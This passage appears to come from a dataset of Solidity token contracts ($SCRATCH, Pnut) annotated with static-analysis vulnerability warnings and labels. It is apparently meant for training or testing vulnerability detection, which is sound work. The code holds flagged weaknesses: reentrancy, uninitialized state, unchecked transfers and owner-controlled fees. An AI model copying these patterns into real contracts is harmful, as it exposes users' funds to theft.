newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _setOwner(newOwner);\n }\n\n function _setOwner(address newOwner) private {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IFactory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IRouter {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\ncontract $SCRATCH is BEP20, Ownable {\n using Address for address payable;\n\n\t// WARNING Optimization Issue (immutable-states | ID: cc30fe8): $SCRATCH.router should be immutable \n\t// Recommendation for cc30fe8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IRouter public router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: db5b72e): $SCRATCH.pair should be immutable \n\t// Recommendation for db5b72e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public pair;\n\n bool private _interlock = false;\n\n bool public providingLiquidity = false;\n\n bool public tradingEnabled = false;\n\n uint256 public tokenLiquidityThreshold = 5e5 * 10 ** 18;\n\n uint256 public genesis_block;\n\n uint256 private deadline = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: 970b23c): $SCRATCH.launchtax should be constant \n\t// Recommendation for 970b23c: Add the 'constant' attribute to state variables that never change.\n uint256 private launchtax = 99;\n\n address public marketingWallet = 0x624f0349b71f56a7bD2FCa5F5A624D53eC05E6B6;\n\n address public devWallet = 0xc96910E6d15F3e9729A0839A1BFc2b31775d8632;\n\n address public constant deadWallet =\n 0x000000000000000000000000000000000000dEaD;\n\n struct Taxes {\n uint256 marketing;\n uint256 liquidity;\n uint256 dev;\n }\n\n Taxes public taxes = Taxes(10, 0, 0);\n\n Taxes public sellTaxes = Taxes(3, 0, 0);\n\n mapping(address => bool) public exemptFee;\n\n\t// WARNING Vulnerability (incorrect-modifier | severity: Low | ID: 563d5fc): Modifier $SCRATCH.lockTheSwap() does not always execute _; or revert\n\t// Recommendation for 563d5fc: All the paths in a modifier must execute '_' or revert.\n modifier lockTheSwap() {\n if (!_interlock) {\n _interlock = true;\n\n _;\n\n _interlock = false;\n }\n }\n\n constructor() BEP20(\"$SCRATCH\", \"$SCRATCH\") {\n _tokengeneration(msg.sender, 1e10 * 10 ** decimals());\n\n exemptFee[msg.sender] = true;\n\n IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n address _pair = IFactory(_router.factory()).createPair(\n address(this),\n _router.WETH()\n );\n\n router = _router;\n\n pair = _pair;\n\n exemptFee[address(this)] = true;\n\n exemptFee[marketingWallet] = true;\n\n exemptFee[devWallet] = true;\n\n exemptFee[deadWallet] = true;\n\n exemptFee[0x23C99f168E3B3C0b5f52C094b062f0077cc69afF] = true;\n\n exemptFee[0x6661B69E92C80280Eb2a973ED32F5E46266cD2c2] = true;\n\n exemptFee[0x01fC66A8745A4F5cEBfF891192aA95acbEF6FA78] = true;\n\n exemptFee[0x5D7c261B5098A20C5633E2850daD4781043D3D5E] = true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 18c3bf5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 18c3bf5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f4c6571): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f4c6571: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 18c3bf5\n\t\t// reentrancy-benign | ID: f4c6571\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"BEP20: transfer amount exceeds allowance\"\n );\n\n\t\t// reentrancy-events | ID: 18c3bf5\n\t\t// reentrancy-benign | ID: f4c6571\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public override returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public override returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"BEP20: decreased allowance below zero\"\n );\n\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3b4a2a7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3b4a2a7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 73d7147): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 73d7147: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 27efc12): $SCRATCH._transfer(address,address,uint256).feeswap is a local variable never initialized\n\t// Recommendation for 27efc12: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: a90f225): $SCRATCH._transfer(address,address,uint256).feesum is a local variable never initialized\n\t// Recommendation for a90f225: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (write-after-write | severity: Medium | ID: 657d394): $SCRATCH._transfer(address,address,uint256).fee is written in both fee = 0 fee = (amount * feesum) / 100\n\t// Recommendation for 657d394: Fix or remove the writes.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: b652fae): $SCRATCH._transfer(address,address,uint256).currentTaxes is a local variable never initialized\n\t// Recommendation for b652fae: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal override {\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (!exemptFee[sender] && !exemptFee[recipient]) {\n require(tradingEnabled, \"Trading not enabled\");\n }\n\n uint256 feeswap;\n\n uint256 feesum;\n\n uint256 fee;\n\n Taxes memory currentTaxes;\n\n bool useLaunchFee = !exemptFee[sender] &&\n !exemptFee[recipient] &&\n block.number < genesis_block + deadline;\n\n\t\t// write-after-write | ID: 657d394\n if (_interlock || exemptFee[sender] || exemptFee[recipient]) fee = 0;\n else if (recipient == pair && !useLaunchFee) {\n feeswap = sellTaxes.liquidity + sellTaxes.marketing + sellTaxes.dev;\n\n feesum = feeswap;\n\n currentTaxes = sellTaxes;\n } else if (\n sender == pair && recipient != address(router) && !useLaunchFee\n ) {\n feeswap = taxes.liquidity + taxes.marketing + taxes.dev;\n\n feesum = feeswap;\n\n currentTaxes = taxes;\n } else if (useLaunchFee) {\n feeswap = launchtax;\n\n feesum = launchtax;\n }\n\n\t\t// write-after-write | ID: 657d394\n fee = (amount * feesum) / 100;\n\n if (providingLiquidity && sender != pair)\n\t\t\t// reentrancy-events | ID: 3b4a2a7\n\t\t\t// reentrancy-eth | ID: 73d7147\n Liquify(feeswap, currentTaxes);\n\n\t\t// reentrancy-events | ID: 3b4a2a7\n\t\t// reentrancy-eth | ID: 73d7147\n super._transfer(sender, recipient, amount - fee);\n\n if (fee > 0) {\n if (feeswap > 0) {\n uint256 feeAmount = (amount * feeswap) / 100;\n\n\t\t\t\t// reentrancy-events | ID: 3b4a2a7\n\t\t\t\t// reentrancy-eth | ID: 73d7147\n super._transfer(sender, address(this), feeAmount);\n }\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7c962bb): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7c962bb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2cc6f46): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2cc6f46: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: eb1ea3d): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for eb1ea3d: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 940ceb9): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 940ceb9: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: f389e12): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for f389e12: Consider ordering multiplication before division.\n function Liquify(\n uint256 feeswap,\n Taxes memory swapTaxes\n ) private lockTheSwap {\n if (feeswap == 0) {\n return;\n }\n\n uint256 contractBalance = balanceOf(address(this));\n\n if (contractBalance >= tokenLiquidityThreshold) {\n if (tokenLiquidityThreshold > 1) {\n contractBalance = tokenLiquidityThreshold;\n }\n\n uint256 denominator = feeswap * 2;\n\n uint256 tokensToAddLiquidityWith = (contractBalance *\n swapTaxes.liquidity) / denominator;\n\n uint256 toSwap = contractBalance - tokensToAddLiquidityWith;\n\n uint256 initialBalance = address(this).balance;\n\n\t\t\t// reentrancy-events | ID: 7c962bb\n\t\t\t// reentrancy-benign | ID: 2cc6f46\n swapTokensForETH(toSwap);\n\n uint256 deltaBalance = address(this).balance - initialBalance;\n\n\t\t\t// divide-before-multiply | ID: eb1ea3d\n\t\t\t// divide-before-multiply | ID: 940ceb9\n\t\t\t// divide-before-multiply | ID: f389e12\n uint256 unitBalance = deltaBalance /\n (denominator - swapTaxes.liquidity);\n\n\t\t\t// divide-before-multiply | ID: 940ceb9\n uint256 ethToAddLiquidityWith = unitBalance * swapTaxes.liquidity;\n\n if (ethToAddLiquidityWith > 0) {\n\t\t\t\t// reentrancy-events | ID: 7c962bb\n\t\t\t\t// reentrancy-benign | ID: 2cc6f46\n addLiquidity(tokensToAddLiquidityWith, ethToAddLiquidityWith);\n }\n\n\t\t\t// divide-before-multiply | ID: f389e12\n uint256 MarketingAmt = unitBalance * 2 * swapTaxes.marketing;\n\n if (MarketingAmt > 0) {\n\t\t\t\t// reentrancy-events | ID: 3b4a2a7\n\t\t\t\t// reentrancy-events | ID: 18c3bf5\n\t\t\t\t// reentrancy-benign | ID: f4c6571\n\t\t\t\t// reentrancy-eth | ID: 73d7147\n payable(marketingWallet).sendValue(MarketingAmt);\n }\n\n\t\t\t// divide-before-multiply | ID: eb1ea3d\n uint256 devAmt = unitBalance * 2 * swapTaxes.dev;\n\n if (devAmt > 0) {\n\t\t\t\t// reentrancy-events | ID: 3b4a2a7\n\t\t\t\t// reentrancy-events | ID: 18c3bf5\n\t\t\t\t// reentrancy-benign | ID: f4c6571\n\t\t\t\t// reentrancy-eth | ID: 73d7147\n payable(devWallet).sendValue(devAmt);\n }\n }\n }\n\n function swapTokensForETH(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = router.WETH();\n\n _approve(address(this), address(router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 3b4a2a7\n\t\t// reentrancy-events | ID: 7c962bb\n\t\t// reentrancy-events | ID: 18c3bf5\n\t\t// reentrancy-benign | ID: f4c6571\n\t\t// reentrancy-benign | ID: 2cc6f46\n\t\t// reentrancy-eth | ID: 73d7147\n router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5669859): $SCRATCH.addLiquidity(uint256,uint256) ignores return value by router.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,deadWallet,block.timestamp)\n\t// Recommendation for 5669859: Ensure that all the return values of the function calls are used.\n function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {\n _approve(address(this), address(router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 3b4a2a7\n\t\t// reentrancy-events | ID: 7c962bb\n\t\t// reentrancy-events | ID: 18c3bf5\n\t\t// reentrancy-benign | ID: f4c6571\n\t\t// reentrancy-benign | ID: 2cc6f46\n\t\t// unused-return | ID: 5669859\n\t\t// reentrancy-eth | ID: 73d7147\n router.addLiquidityETH{value: ethAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n deadWallet,\n block.timestamp\n );\n }\n\n function updateLiquidityProvide(bool state) external onlyOwner {\n providingLiquidity = state;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 0372cfe): $SCRATCH.updateLiquidityTreshhold(uint256) should emit an event for tokenLiquidityThreshold = new_amount * 10 ** decimals() \n\t// Recommendation for 0372cfe: Emit an event for critical parameter changes.\n function updateLiquidityTreshhold(uint256 new_amount) external onlyOwner {\n require(\n new_amount <= 1e7,\n \"Swap threshold amount should be lower or equal to 1% of tokens\"\n );\n\n\t\t// events-maths | ID: 0372cfe\n tokenLiquidityThreshold = new_amount * 10 ** decimals();\n }\n\n function SetBuyTaxes(\n uint256 _marketing,\n uint256 _liquidity,\n uint256 _dev\n ) external onlyOwner {\n taxes = Taxes(_marketing, _liquidity, _dev);\n\n require(\n (_marketing + _liquidity + _dev) <= 12,\n \"Must keep fees at 12% or less\"\n );\n }\n\n function SetSellTaxes(\n uint256 _marketing,\n uint256 _liquidity,\n uint256 _dev\n ) external onlyOwner {\n sellTaxes = Taxes(_marketing, _liquidity, _dev);\n\n require(\n (_marketing + _liquidity + _dev) <= 12,\n \"Must keep fees at 12% or less\"\n );\n }\n\n function EnableTrading() external onlyOwner {\n require(!tradingEnabled, \"Cannot re-enable trading\");\n\n tradingEnabled = true;\n\n providingLiquidity = true;\n\n genesis_block = block.number;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 9f6c460): $SCRATCH.updatedeadline(uint256) should emit an event for deadline = _deadline \n\t// Recommendation for 9f6c460: Emit an event for critical parameter changes.\n function updatedeadline(uint256 _deadline) external onlyOwner {\n require(!tradingEnabled, \"Can't change when trading has started\");\n\n require(_deadline < 5, \"Deadline should be less than 5 Blocks\");\n\n\t\t// events-maths | ID: 9f6c460\n deadline = _deadline;\n }\n\n function updateMarketingWallet(address newWallet) external onlyOwner {\n require(newWallet != address(0), \"Fee Address cannot be zero address\");\n\n marketingWallet = newWallet;\n }\n\n function updateDevWallet(address newWallet) external onlyOwner {\n require(newWallet != address(0), \"Fee Address cannot be zero address\");\n\n devWallet = newWallet;\n }\n\n function updateExemptFee(address _address, bool state) external onlyOwner {\n exemptFee[_address] = state;\n }\n\n function bulkExemptFee(\n address[] memory accounts,\n bool state\n ) external onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n exemptFee[accounts[i]] = state;\n }\n }\n\n function rescueBNB(uint256 weiAmount) external onlyOwner {\n payable(owner()).transfer(weiAmount);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: cfea804): $SCRATCH.rescueBSC20(address,uint256) ignores return value by IBEP20(tokenAdd).transfer(owner(),amount)\n\t// Recommendation for cfea804: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueBSC20(address tokenAdd, uint256 amount) external onlyOwner {\n require(\n tokenAdd != address(this),\n \"Owner can't claim contract's balance of its own tokens\"\n );\n\n\t\t// unchecked-transfer | ID: cfea804\n IBEP20(tokenAdd).transfer(owner(), amount);\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10776.sol",
"size_bytes": 26213,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 80ba23e): Ownable.constructor().msgSender lacks a zerocheck on \t _owner = msgSender\n\t// Recommendation for 80ba23e: Check that the address is not zero.\n constructor() {\n address msgSender = _msgSender();\n\n\t\t// missing-zero-check | ID: 80ba23e\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 86bfc96): Pnut.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 2 * (_tTotal / 1000)\n// Recommendation for 86bfc96: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: c97e4bf): Pnut.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotal / 100)\n// Recommendation for c97e4bf: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: afcb422): Pnut.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 2 * (_tTotal / 100)\n// Recommendation for afcb422: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: b6b0ee1): Pnut.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotal / 100)\n// Recommendation for b6b0ee1: Consider ordering multiplication before division.\ncontract Pnut is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: c1cd963): Pnut.bots is never initialized. It is used in Pnut._transfer(address,address,uint256)\n\t// Recommendation for c1cd963: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9f13da0): Pnut._taxWallet should be immutable \n\t// Recommendation for 9f13da0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7ae6f13): Pnut._initialBuyTax should be constant \n\t// Recommendation for 7ae6f13: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 69bc2c8): Pnut._initialSellTax should be constant \n\t// Recommendation for 69bc2c8: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 69e4509): Pnut._finalBuyTax should be constant \n\t// Recommendation for 69e4509: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b1783f4): Pnut._finalSellTax should be constant \n\t// Recommendation for b1783f4: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0286d85): Pnut._reduceBuyTaxAt should be constant \n\t// Recommendation for 0286d85: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 66b22a7): Pnut._reduceSellTaxAt should be constant \n\t// Recommendation for 66b22a7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: fe98be9): Pnut._preventSwapBefore should be constant \n\t// Recommendation for fe98be9: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 22;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 12;\n\n uint256 private constant _tTotal = 1_000_000_000_000 * 10 ** _decimals;\n\n string private _name;\n\n string private _symbol;\n\n\t// divide-before-multiply | ID: c97e4bf\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: b6b0ee1\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 0a0bb16): Pnut._taxSwapThreshold should be constant \n\t// Recommendation for 0a0bb16: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 86bfc96\n uint256 public _taxSwapThreshold = 2 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: c13e66d): Pnut._maxTaxSwap should be constant \n\t// Recommendation for c13e66d: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: afcb422\n uint256 public _maxTaxSwap = 2 * (_tTotal / 100);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d2993ec): Pnut.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for d2993ec: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ce2ece1): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ce2ece1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 133e203): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 133e203: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: ce2ece1\n\t\t// reentrancy-benign | ID: 133e203\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: ce2ece1\n\t\t// reentrancy-benign | ID: 133e203\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 53accaa): Pnut._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 53accaa: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 133e203\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: ce2ece1\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ca2960f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ca2960f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: c1cd963): Pnut.bots is never initialized. It is used in Pnut._transfer(address,address,uint256)\n\t// Recommendation for c1cd963: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: faf53d9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for faf53d9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n 